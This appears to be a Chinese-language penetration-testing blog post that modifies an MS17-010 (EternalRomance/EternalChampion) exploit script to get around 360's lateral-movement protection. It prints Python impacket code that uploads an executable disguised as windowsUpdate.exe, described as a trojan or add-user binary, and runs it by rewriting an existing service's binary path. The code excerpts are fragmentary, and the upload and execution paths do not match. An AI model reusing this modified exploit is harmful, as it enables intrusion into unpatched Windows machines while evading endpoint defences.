Northeast Assassin King

MS17-010 EXP 分析 && modify

0x01 前言

内网打Ms17-010比较常见,一般走代理proxychains打正向payload

windows/x64/meterpreter/bind_tcp

经过测试,在不开启360横向渗透防护情况下msf还是会被拦截,也就是我们大家常见的这种场景是会被拦截的

这里先说明下,正常安装360的情况下,一般是不会开启360横向渗透防护的,这个模块一般需要自己手动去添加。

0x02 乱杀

防护开的比较全的情况下,就开始乱杀了,send smb可以把工具传上去,但是执行命令还是被横向渗透防护拦截,

测试时候发现,如果源IP不是当前Ip的话,就会被拦截远程攻击,判断攻击方式后查看源代码发现攻击利用的是老impacket包里面的psexec模块,攻击利用方式还是以起服务的方式, 拦截的主要地方是psexec起服务的地方,360这个横向渗透模块拦截了大部分的功能

测试wmihacker查看横向是否拦截,发现360横向渗透防护并不拦截,查看源代码发现wimihacker主要是使用Win32_Process换成win32_schedulejob

0x03 分析

整个的代码逻辑就是两个组合漏洞的利用cve-2017-0146(EternalChampion)和cve-2017-0143(EternalRomance),首先要能匿名访问机器的管道,并且获取到管道的名称,大致是一下几个browser,spoolss,netlogon,lasrpc , samr

有些机器访问可能需要身份验证,比如在某些环境中,我们需要一个普通用户,或者在能直接访问匿名管道的机器上配置代理,比如下图我们访问需要输入凭据,这种凭据我们也可以通过爆破的方式获取

获取管道名字后,然后拿到smbSession,上传文件,在C盘的根目录下创建一个Pwned.txt的文件

def smb_pwn(conn, arch):
   smbConn = conn.get_smbconnection()
   
   print('creating file c:\\pwned.txt on the target')
   tid2 = smbConn.connectTree('C$')
   fid2 = smbConn.createFile(tid2, '/pwned.txt')
   smbConn.closeFile(tid2, fid2)
   smbConn.disconnectTree(tid2)

然后后面再定义service_exec方法执行命令

跟踪代码查看是如何创建服务的,调用了CreateService的api

打开OpenSVCManager,打开服务后获取lpServiceHandle,下面resp里面在写入CreateService的句柄

resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')

我们仿照他的思路改即可,继续往下看代码,就是移除服务的功能,这个就是Psexec的原版功能,他在执行后会删除刚才创建过的服务,这个地方其实也是一个比较会被拦截的地方。

0x04 修改

把文件上传的内容改成自己需要执行的exe,从本地上传,这里exe设置为马或者添加用户的exe都可以。

smb_send_file(smbConn, 'C:\Windows\Temp\windowsUpdate.exe', 'C', '/Users/Public/Downloads/windowsUpdate.exe')
print('文件上传')
service_exec(conn, r'C:\\ProgramData\\windowsUpdate.exe ')

resp = scmr.hRChangeServiceConfigW(rpcsvc, resp['lpServiceHandle'], scmr.SERVICE_NO_CHANGE, scmr.SERVICE_DEMAND_START, scmr.SERVICE_ERROR_IGNORE, cmd + '\x00')
   serviceHandle = resp['lpServiceHandle']
   
   if serviceHandle:
      # start service
      try:
         print('Starting service %s.....' % service_name)
         scmr.hRStartServiceW(rpcsvc, serviceHandle)
         # is it really need to stop?
         # using command line always makes starting service fail because SetServiceStatus() does not get called
         #print('Stoping service %s.....' % service_name)
         #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
      except Exception as e:
         print(str(e))
      
      print('Removing service %s.....' % service_name)
      scmr.hRDeleteService(rpcsvc, serviceHandle)
      scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
   print("ServiceExec Error on: %s" % conn.get_remote_host())
   print(str(e))
finally:
   if svcHandle:
      scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

rpcsvc.disconnect()

修改后执行攻击

服务的二进制路径已经被修改了

可以看到在有360的情况下可以直接修改服务二进制路径然后启动服务(执行添加用户的exe)